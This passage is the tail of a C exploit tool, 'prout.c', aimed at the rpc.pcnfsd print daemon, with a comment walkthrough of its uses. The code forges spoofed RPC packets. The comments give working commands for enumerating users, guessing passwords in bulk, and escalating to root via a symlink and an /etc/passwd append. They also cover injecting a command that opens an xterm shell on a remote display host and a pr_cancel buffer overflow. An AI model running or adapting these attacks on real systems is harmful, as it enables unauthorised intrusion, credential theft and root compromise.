            lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_INFO;
            flag=2;
            break;
         case 'a':
            if ((argc-optind)!=4) option(argv[0]);
            lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_AUTH;
            flag=3;
            break;
         case 'u':
            if ((argc-optind)!=4) option(argv[0]);
            lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_MAPID;
            flag=4;
            break;
	 case 'f':
	    switch((char)*(optarg)) {
	    	case 'l':
	           if ((argc-optind)!=3) option(argv[0]);
	           lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_INIT;
                   flag=5;
	    	   break;

	    	case 's':
	           if ((argc-optind)!=5) option(argv[0]);
	           lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
	                     LEN_HDR_PCN_INIT;
                   flag=6;
	    	   break;

	    	default:   
    	           option(argv[0]);
	           break;				// NOTREACHED
	    }
	    break;
         case 'c':
            if ((argc-optind)!=7) option(argv[0]);
            lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
                      LEN_HDR_PCN_CANCEL;
            flag=7;
            break;
         case 'o':
            if ((argc-optind)!=4) option(argv[0]);
            lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+
                      LEN_HDR_PCN_CANCEL;
            flag=8;
            break;
         case 'i':
            fprintf(stderr, "prout.c : exploits pcnfsd hole(s) - ");
            fprintf(stderr, "coded by 'ga' <duncan@mygale.org>\n");
            exit(0);
	 case 's':
	    fprintf(stderr, "Linux Mithrandir 2.0.0 i486 (dx2-66 8mb) - ");
	    fprintf(stderr, "gcc version 2.7.2\n");
	    exit(0);
	 case 'v':
	    verbose++;
	    break;
         case 'h':
            option(argv[0]);
	 default:
	    usage(argv[0]);
	    break;				// NOTREACHED
      }   
   }

   if (!flag) usage(argv[0]);

   if ( (flag>5) && (getuid()!=0) && (geteuid()!=0) ) {
      fprintf(stderr, "I am not god.. I cannot create a raw packet without "
                      "(e)uid 0\n");
      exit(1);
   }                         

   if (!(packet=malloc(lenpacket))) {
      fprintf(stderr, "malloc() failed\n");
      exit(1);
      }
   memset(packet, 0, lenpacket);

   switch(flag) {
      case 1:
         if (make_pcnfsd_PRLIST(packet, lenpacket,
                                resolve_host_name(argv[optind]),
                                strtol(argv[optind+1], (char **)NULL, 0))<0)
            fprintf(stderr, "error (PRLIST packet)\n");
         break;

      case 2:
         if (make_pcnfsd_PRINFO(packet, lenpacket,
                                resolve_host_name(argv[optind]),
                                strtol(argv[optind+1], (char **)NULL, 0))<0)
            fprintf(stderr, "error (PRINFO packet)\n");
         break;

      case 3:
         if (make_pcnfsd_PRAUTH(packet, lenpacket,
                                resolve_host_name(argv[optind]),
                                strtol(argv[optind+1], (char **)NULL, 0),
                                argv[optind+2], argv[optind+3])<0)
            fprintf(stderr, "error (PRAUTH packet)\n");
          break;

      case 4:
         if (strtol(argv[optind+2], (char **)NULL, 0) >
             strtol(argv[optind+3], (char **)NULL, 0)) {
            fprintf(stderr, "lo_uid MUST be inferior to up_uid...\n");
            free(packet);
            exit(0);
         }
                                   
         if (make_pcnfsd_PRMAPID(packet, lenpacket,
                                 resolve_host_name(argv[optind]),
                                 strtol(argv[optind+1], (char **)NULL, 0),
                                 strtol(argv[optind+2], (char **)NULL, 0),
                                 strtol(argv[optind+3], (char **)NULL, 0))<0)
            fprintf(stderr, "error (PRMAPID packet)\n");
          break;

      case 5:
         if (make_pcnfsd_local_PRINIT(packet, lenpacket,
                                     resolve_host_name(argv[optind]),
                                     strtol(argv[optind+1], (char **)NULL, 0),
                                     argv[optind+2])<0)
         fprintf(stderr,"error (local PRINIT packet)\n");
         break;

      case 6:
         if (make_pcnfsd_spoof_PRINIT(packet, lenpacket,
                                     resolve_host_name(argv[optind]),
                                     strtol(argv[optind+1], (char **)NULL, 0),
                                     resolve_host_name(argv[optind+2]),
                                     strtol(argv[optind+3], (char **)NULL, 0),
                                     argv[optind+4])<0)
         fprintf(stderr,"error (forged PRINIT packet)\n");
         break;

      case 7:
         if (make_pcnfsd_PRCANCEL(packet, lenpacket,
                                  resolve_host_name(argv[optind]),
                                  strtol(argv[optind+1], (char **)NULL, 0),
                                  resolve_host_name(argv[optind+2]),
                                  strtol(argv[optind+3], (char **)NULL, 0),
                                  argv[optind+4],
                                  argv[optind+5],
                                  argv[optind+6])<0)
         fprintf(stderr,"error (forged PRCANCEL packet)\n");
         break;


      case 8:
         if (make_pcnfsd_PROVERFLOW(packet, lenpacket,
                                    resolve_host_name(argv[optind]),
                                    strtol(argv[optind+1], (char **)NULL,0),
                                    resolve_host_name(argv[optind+2]),
                                    strtol(argv[optind+3], (char **)NULL,0))<0)
         fprintf(stderr,"error (forged PRCANCEL buffer overrun packet)\n");
         break;

   }
   free(packet);
}


/*

This program is for educational purpose _only_. It is provided "as is" and
without any warranty.

todo: - test it over inet..
      - test it with another pcnfs daemon other than rpc.pcnfsd (slackware 3.5)
      - add the udp pseudo header checksum code
      - remove insane code
      - implement it so it would work partially with pcnfs (version 1)

I agree that lot of the code is redundant but I wanted to develop a simple and
clear program so that it is more easier to understand the forging of ip/rpc 
packets. Anyway, I also agree that I am not a good c coder so don't blame me...


Here are the different weaknesses of the rpc.pcnfsd(v2) daemon (security holes
are OS dependant) :

[tested with : @(#)pcnfsd_v2.c 1.6 - rpc.pcnfsd V2.0 (c) 1991 ]
[               Sun Technology Enterprises, Inc.              ]

weaknesses (part of the implementation) : 
-----------------------------------------

1) a list of available printers on the system can be retrieved. A valid
printer name can then be used with other pcnfs rpc commands.

 ex : prout -p 1.1.1.1 755
 (rpc.pcnfsd running on server 1.1.1.1, port 755)

 Usually, "lp" is almost always a valid printer (not an alias one).

2) it's possible to retrieve the version of the pcnfs daemon. It could be
useful for the attacker who would like to determine the return address for a 
buffer overflow. 

 ex : prout -w 1.1.1.1 755
 (rpc.pcnfsd running on server 1.1.1.1, port 755)

 This may not be implemented in all pcnfs daemons.

3) A valid login/passwd can be checked.

 ex : prout -a 1.1.1.1 755 joe eoj
 (check user "joe", passwd "eoj" with rpc.pcnfsd running on 1.1.1.1, port 755)

      prout -a 1.1.1.1 755 guest "" 
 (check if login guest is unpassworded)

 Only the bandwith of the connection limits the number of attempts per
 minute.. failure attempts are not logged, successful attempts are logged in
 wtmp. Trying to authentificate uid 0(root) is automatically rejected by the 
 pcnfs daemon.

4) Given an uid, the pcnfs daemon returns the name of the user (login)
associated with this uid. As a consequence, it's possible to retrieves all
the logins on the remote system by scanning a broad range of uids.

 ex :  prout -u 1.1.1.1 755 0 1000
 (ask to resolve login name from uid 0 up to 1000)

 Therefore, the bash command below retrieves all user names on the server 
 (uid 0 to 1000) and then it checks if the passwd is the same as the login:
 
   for login in `prout -u 1.1.1.1 755 0 1000 | cut -f4 -d" "`;\
   do prout -a 1.1.1.1 755 $login $login ; done

 (failures are redirected to stderr and success to stdout)


security holes (depends on the pcnfs program) :
-----------------------------------------------

1) A _local_ user can chmod(777) any files in the pcnfs directory (including
   "." file ...). Then, using a symlink, he can chmod(777) any files on the
   system.

 ex : 
     Mithrandir:/$ id
     uid=501(ga) gid=100(users) groups=100(users)
     Mithrandir:/$ rpcinfo -p | grep pcnfsd
        150001    1   udp    755  pcnfsd
        150001    2   udp    755  pcnfsd
        150001    1   tcp    758  pcnfsd
        150001    2   tcp    758  pcnfsd
     Mithrandir:/$ ls -al /var/spool/ |grep pcnfs
     drwxr-xr-x   2 root     root         1024 Oct 4 20:00 pcnfs
     Mithrandir:/$ prout -fl localhost 755 .
     Mithrandir:/$ ls -al /var/spool/ |grep pcnfs
     drwxrwxrwx   2 root     root         1024 Oct 4 20:00 pcnfs
     Mithrandir:/$ ln -s /etc/passwd /var/spool/pcnfs/blah
     Mithrandir:/$ prout -fl localhost 755 blah
     Mithrandir:/$ echo prout::0:0::/:/bin/sh >> /etc/passwd
     Mithrandir:/$ su prout
     Mithrandir:/# id
     uid=0(root) gid=0(root) groups=0(root)

   The "-fs" option is the same as the "-fl" option except that it spoofes
   the source address and the source port (always choose a port < 1024).

Latest patch of pcnfs daemon (Slackware) will fix this chmod() problem.

2) pr_cancel() runs a shell command in background to cancel a printer job.
However, it doesn't check for all the escape shell characters.. Then, a 
special command surrounded by '\n' characters will be executed on the remote
system.

 ex : prout -c 127.0.0.1 911 1.1.1.1 755 nobody lp "ping 1.1.1.1"
 (it sends a spoofed packet to pcnfs daemon on host 1.1.1.1, port 755. The
  "ping 1.1.1.1" will be executed with nobody's rights).

 User name must exist on the remote system (its uid must >101 and <60002
 otherwise the packet will be rejected) and the printer must be a valid 
 printer. Moreover, the command to execute must _NOT_ contain any characters 
 like :

           ";|&<>`'#!?*()[]^/"

 so it means that it's not possible (well..in fact, it is) to execute a
 command which is not in the PATH of the pcnfs daemon. Finally, rpc.pcnfsd
 will kill its child process if this one doesn't exit() before 10 seconds.
 In this case, "ping 1.1.1.1" works only for 10 seconds.

 On slackware, rpc.pcnfsd is launched from rc.inet2 file from the directory 
 "/". The PATH variable is set to "/sbin:/usr/sbin:/bin:/usr/bin". As the $
 character isn't checked by suspicious() then we can fool the rpc.pcnfsd
 restriction by using a shell variable that contains the "/" character.
 On bash, during the boot process, PWD is set to "/" (CWD for tcsh) as well
 as HOME variable. Therefore, we trick the pcnfs daemon by using the $HOME
 variable instead of "/". Moreover, we know that the child process will be 
 killed after 10 seconds, then in order to avoid this problem, we can try to
 execute an xterm which executes another xterm.

 The new bash command line would be like :
  
    prout -c 127.0.0.1 911 1.1.1.1 755 nobody lp \
    '"$PWD"usr"$PWD"X11"$PWD"bin"$PWD"xterm -ut -display 9.9.9.9:0.0 \
    -e "$PWD"usr"$PWD"X11"$PWD"bin"$PWD"xterm -ut -display 9.9.9.9:0.0 \
    -e "$PWD"bin"$PWD"csh -i'

 The shell ran by pcnfs daemon will expand it as :

    /usr/X11/bin/xterm -ut -display 9.9.9.9:0.0 -e /usr/X11/bin/xterm\
                       -ut -display 9.9.9.9:0.0 -e /bin/csh -i
 
 Thus, if host 9.9.9.9 is 'xhost +' then it will receive one empty xterm (first
 xterm that executes the second one) and another xterm with uid "nobody".
 The first xterm will be killed after 10 seconds.. Of course, this can't work 
 if the first xterm can't reach 9.9.9.9 within 10 seconds.

bugs : - sometimes, rpc.pcnfsd core dumps after killing its child process.
       - xterm runs with uid "nobody" but with gid "root, bin, adm, etc..". It
         shouldn't because this can definitively be used for a root compromise.

Latest patch of pcnfs daemon (Slackware) will fix this _suspicious_ problem.

3) Finally, there is a buffer overrun in pr_cancel() function. I didn't
check all the pcnfs code but other buffer overflows may exist.

 Actually, in pcsnfsd_print.c ( in pr_cancel() ) :

    char            cmdbuf[256]; 
    sprintf(cmdbuf, "/usr/bin/lprm -P%s %s", pr, id) 

 "pr" may be 256 characters long and "id" may be 64 characters long.
 
 Thus, using a special asm code that doesn't contain any escape shell
 characters checked by supicious() (eg : ";|&<>`'#!?*()[]^/"), it's possible
 to execute a remote command as root.

 ex : prout -o 127.0.0.1 911 1.1.1.1 755
 (sends the pr_cancel overflow packet with a spoofed ip 127.0.0.1 / port 911
  to pcnfs listening on server 1.1.1.1, port udp 755)

 It's important to use a spoofed source port inferior to 1024 because some 
 rpc requests made from an unpriviledged port are automatically discarded
 (actually, using the callit() function of the portmapper).

Latest patch of pcnfsd should fix this buffer overflow soon.

*/
